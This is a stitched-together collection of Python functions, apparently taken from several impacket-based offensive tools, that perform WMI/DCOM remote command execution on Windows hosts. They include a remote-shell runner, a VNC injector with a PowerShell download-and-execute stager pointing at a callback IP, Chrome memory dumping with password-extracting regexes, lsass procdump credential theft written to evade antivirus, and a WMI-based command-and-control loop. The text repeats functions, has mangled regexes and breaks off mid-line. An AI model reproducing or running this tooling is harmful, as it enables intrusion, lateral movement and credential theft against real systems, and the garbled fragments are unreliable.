def _create_wmi_connection(self, namespace='root\\cimv2'): try: self._dcom = DCOMConnection(self._target_computer, self._user, self._password, self._domain, self._lmhash, self._nthash, doKerberos=self._do_kerberos) except Exception as e: self._logger.critical('Error when creating WMI connection') self._logger.critical(e) self._dcom = None else: i_interface = self._dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) i_wbem_level1_login = wmi.IWbemLevel1Login(i_interface) self._wmi_connection = i_wbem_level1_login.NTLMLogin( ntpath.join('\\\\{}\\'.format(self._target_computer), namespace), NULL, NULL)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver = True) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: logging.error(str(e))
def _getwin32process(self): self.log.debug("Trying to authenticate using {}\\{}:{}".format( self.conn.domain_name, self.conn.username, self.conn.password)) self.dcom = DCOMConnection(self.conn.hostname, self.conn.username, self.conn.password, self.conn.domain_name, self.conn.lmhash, self.conn.nthash, None, oxidResolver=True, doKerberos=False) try: iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = iWbemServices.GetObject('Win32_Process') except Exception as e: raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e))
def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] for classn in classes: print "Reading %s " % classn try: iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn) done = False while done is False: try: iEnumWbemClassObject.Next(0xffffffff,1) except Exception, e: if str(e).find('S_FALSE') < 0: print e else: done = True pass except Exception, e: if str(e).find('S_FALSE') < 0: print e
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype + ' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format( addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info( "Sleeping 10 seconds to allow bat file to unpack itself before deleting it" ) time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info( "Error on executing bat file. Trying to delete it before exiting" ) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect()
class VNCEXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.shell = None self.vnc_upload_path = None self.vnc_upload_filename = None self.full_file_path = None self.smbConnection = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i[ 'shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$': pass else: logging.info('Bad share %s' % share) continue try: self.smbConnection.createDirectory(share, 'ARTKOND') except: # Can't create, pass #import traceback #print traceback.print_exc() logging.critical("share '%s' is not writable." % share) pass else: logging.info('Found writable share %s' % share) self.smbConnection.deleteDirectory(share, 'ARTKOND') return str(share) return None def getShares(self): # Setup up a DCE SMBTransport with the connection already in place logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbConnection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost())) raise def get_vnc_upload_path(self, share): if share == 'ADMIN$': return "C:\\windows\\temp\\" if len(share) == 2: if share[1] == '$': return share[0] + ":\\" def copy_file(self, file, tree, dst): logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename) pathname = string.replace(dst, '/', '\\') try: self.smbConnection.putFile(tree, pathname, file.read) except: logging.critical("Error uploading file %s, aborting....." % dst) raise def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path): fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares if self.__share is None: shares = self.getShares() self.__share = self.findWritableShare(shares) if self.__share is None: logging.critical("Couldn't find writable share") raise self.vnc_upload_path = self.get_vnc_upload_path(self.__share) if self.vnc_upload_path is None: logging.critical("Can't deduct local path from share name " + self.__share) raise self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat' encoded_bat = BatEncode( open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string) encoded_buffer = encoded_bat.get_buffer() mem_file = StringIO.StringIO(encoded_buffer) if self.__share == 'ADMIN$': self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename else: self.full_file_path = '\\' + self.vnc_upload_filename self.copy_file(mem_file, self.__share, self.full_file_path) fileCopied = True except: raise def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype + ' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format( addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info( "Sleeping 10 seconds to allow bat file to unpack itself before deleting it" ) time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info( "Error on executing bat file. Trying to delete it before exiting" ) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() elif method == 'download': if bc_ip == '': logging.critical( "-bc-ip needed when using download delivery method") sys.exit(1) ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format( bc_ip, httpport, self.launch_string) logging.info("Stager: {0}".format(ps1_line)) command = str(PSOneliner(ps1_line)) logging.debug(command) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(None, win32Process, None) self.shell.onecmd(command) while True: pass dcom.disconnect() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.critical("Closing DCOM connection") dcom.disconnect() sys.stdout.flush() raise
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) ### This is ugly and super hacky but it works (maybe)### chromepid = [] self.shell.onecmd('tasklist /FI "IMAGENAME eq chrome.exe"') pid = input( "Enter the PID for all items to dump, comma seperated:\n") chromepid = pid.replace(' ', '').split(",") self.shell.do_put(PROC_PATH) for p in chromepid: self.shell.onecmd("procdump64.exe -ma -accepteula " + p + " chrome-" + p + ".dmp") self.shell.do_get("chrome-" + p + ".dmp") self.shell.onecmd("del chrome-" + p + ".dmp") print("[*] Cleaning Up!") self.shell.onecmd("del procdump64.exe") os.system('strings chrome-* > dump.txt') ### No apologies for what is about to pass as regex ### # Office365 / Outlook Format o365user = re.compile(r'(?<=username=)(.*?)(?=&)', re.IGNORECASE) o365pw = re.compile(r'(?<=passwd=)(.*?)(?=&)', re.IGNORECASE) # Generic password searches pw1 = re.compile(r'(?<="password":"******":")(.*?)(?=,|&)', re.IGNORECASE) pw5 = re.compile(r'(?<=passwd=)(.*?)(?=,)', re.IGNORECASE) pw6 = re.compile(r'(?<=passwd:)(.*?)(?=,|&)', re.IGNORECASE) pw7 = re.compile(r'(?<=passwordtext)(.*?)\S*', re.IGNORECASE) # Generic username searches email1 = re.compile(r'(?<="email":")(.*?)(?=,|&)', re.IGNORECASE) email2 = re.compile(r'(?<=email:)(.*?)(?=,|&)', re.IGNORECASE) email3 = re.compile(r'(?<=email=)(.*?)(?=,|&)', re.IGNORECASE) user1 = re.compile(r'(?<="username":"******"Searching the dumps for credentials. This may take a while.....\n" ) #Get reading those dumps with open('dump.txt', 'rt') as dump: for line in dump: # grab those o365 creds first if o365user.search(line) != None: o365creds.append(o365user.search(line).group()) elif o365pw.search(line) != None: o365creds.append(o365pw.search(line).group()) elif pw1.search(line) != None: genpw.append(pw1.search(line).group()) elif pw2.search(line) != None: genpw.append(pw2.search(line).group()) elif pw3.search(line) != None: genpw.append(pw3.search(line).group()) elif pw4.search(line) != None: genpw.append(pw4.search(line).group()) elif pw5.search(line) != None: genpw.append(pw5.search(line).group()) elif pw6.search(line) != None: genpw.append(pw6.search(line).group()) elif pw7.search(line) != None: genpw.append(pw7.search(line).group()) elif email1.search(line) != None: genuser.append(email1.search(line).group()) elif email2.search(line) != None: genuser.append(email2.search(line).group()) elif email3.search(line) != None: genuser.append(email3.search(line).group()) elif user1.search(line) != None: genuser.append(user1.search(line).group()) elif user2.search(line) != None: genuser.append(user2.search(line).group()) elif user3.search(line) != None: genuser.append(user3.search(line).group()) print("Search complete...making the results a bit more presentable\ (maybe - there are bound to be some false positives) \n") # Remove duplicates from the list o365creds = list(dict.fromkeys(o365creds)) genpw = list(dict.fromkeys(genpw)) genuser = list(dict.fromkeys(genuser)) print("=================\n\ Office365 Stuff \n\ =================\n") for i in o365creds: print("URL Decoded String: " + unquote(i)) print("=================\n\ General Passwords\n\ =================\n") for i in genpw: print("URL Decoded String: " + unquote(i)) print("=================\n\ General Usernames\n\ =================\n") for i in genuser: print("URL Decoded String: " + unquote(i)) if True: pass elif self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def run(self, addr, osArch='64'): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.debug("%sSMBv1 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_002: logging.debug("%sSMBv2.0 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_21: logging.debug("%sSMBv2.1 dialect used" % (debugBlue)) else: logging.debug("%sSMBv3.0 dialect used" % (debugBlue)) else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices=iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) procpath = os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])), 'misc', 'procdump', 'procdump%s.exe' % (osArch)) logging.info("%s Uploading procdump to %s..." % (debugBlue, addr)) with suppress_std(): self.shell.do_put(procpath) dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S") cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do procdump{}.exe -accepteula -ma ^%B C:\\{}.dmp""".format(osArch, addr + "_" + dt) logging.info("%s Executing procdump on %s..." % (debugBlue, addr)) #with suppress_std(): self.shell.onecmd(cmd) logging.info("%s Retrieving %s's dump locally... (can take a while)." % (debugBlue, addr)) with suppress_std(): self.shell.do_get("%s.dmp" % (addr + "_" + dt)) finally: with suppress_std(): if pathlib.Path(addr + "_" + dt + '.dmp').exists(): shutil.move(addr + "_" + dt + '.dmp', os.path.join(dumpDir, addr + "_" + dt + '.dmp')) logging.info("%s Deleting procdump on %s..." % (debugBlue, addr)) with suppress_std(): self.shell.onecmd("del procdump%s.exe" % (osArch)) logging.info("%s Deleting dump on %s..." % (debugBlue, addr)) with suppress_std(): self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
def run(self, addr, osArch='64'): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, self.__smbConnection) # Upload procdump procpath = os.path.join( os.path.dirname(os.path.realpath(sys.argv[0])), 'misc', 'procdump', 'procdump%s.exe' % (osArch)) logging.info("%s Uploading procdump to %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.do_put(procpath) else: self.shell.do_put(procpath) dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S") # Execute procdump silently with pid to avoid AVs as much as possible cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do procdump{}.exe -accepteula -ma ^%B C:\\{}.dmp""".format( osArch, addr + "_" + dt) logging.info("%s Executing procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd(cmd) else: self.shell.onecmd(cmd) # Create dump's file descriptor to parse dumps remotely logging.info("%s Creating dump's file descriptor on %s..." % (debugBlue, addr)) logging.info("%s Parsing %s's dump remotely..." % (debugBlue, addr)) dump = Dump(self.__smbConnection, """{}.dmp""".format(addr + "_" + dt)) credentials = parseDump(dump) if credentials is not None: print_credentials(addr, credentials) write_credentials(addr, credentials) finally: # Clean remote machines (dump & procdump) logging.info("%s Closing dump file on %s..." % (debugBlue, addr)) dump.close() logging.info("%s Deleting procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del procdump%s.exe" % (osArch)) else: self.shell.onecmd("del procdump%s.exe" % (osArch)) logging.info("%s Deleting dump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) else: self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) if self.__smbConnection is not None: self.__smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__commandlist: for entry in self.__commandlist: self.shell.onecmd(entry) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def run(self): logging.debug("Creating DCOM connection") lmhash = '' nthash = '' if self["Hash"]: if self["Hash"].find(":") > -1: lmhash, nthash = self["Hash"].split(":") else: nthash = self["Hash"] dcom = DCOMConnection( self["Host"], self["Username"], self["Password"], self["Domain"], lmhash, nthash, #self.aesKey, oxidResolver=False, #doKerberos=self.doKerberos ) logging.debug("Creating new iWbemServices instance") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() while True: try: records = self.read(iWbemServices) #self.write(iWbemServices, records) DebugFilePathValue = list( filter(lambda r: r[0] == "DebugFilePath", records[0].items()))[0][1]["value"] if DebugFilePathValue != "%SystemRoot%\\MEMORY.DMP": GUID, op, creator, data = DebugFilePathValue.split(":") if creator == "client": if op == "kex": pub_key = self.dispatch_event( events.KEX, (GUID, self["Host"], b64decode(data))) self.write( iWbemServices, records, payload= f"{GUID}:kex:server:{b64encode(pub_key.encode()).decode()}" ) elif op == "stage": stage_file = self.dispatch_event( events.ENCRYPT_STAGE, (self["Comms"], GUID, self["Host"])) if stage_file: self.dispatch_event( events.SESSION_STAGED, f'Sending stage ({sys.getsizeof(stage_file)} bytes) -> {self["Host"]} ...' ) self.write( iWbemServices, records, payload= f"{GUID}:stage:server:{b64encode(stage_file)}" ) elif op == "jobs": job = self.dispatch_event(events.SESSION_CHECKIN, (GUID, self["Host"])) if job: self.write( iWbemServices, records, payload= f"{GUID}:jobs:server:{b64encode(job).decode()}" ) elif op.startswith("job_results"): _, job_id = op.split("|") print(data) self.dispatch_event( events.JOB_RESULT, (GUID, job_id, b64decode(data))) self.write(iWbemServices, records) except Exception as e: print("Error") print(e) sleep(int(self["CheckInterval"]))
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = 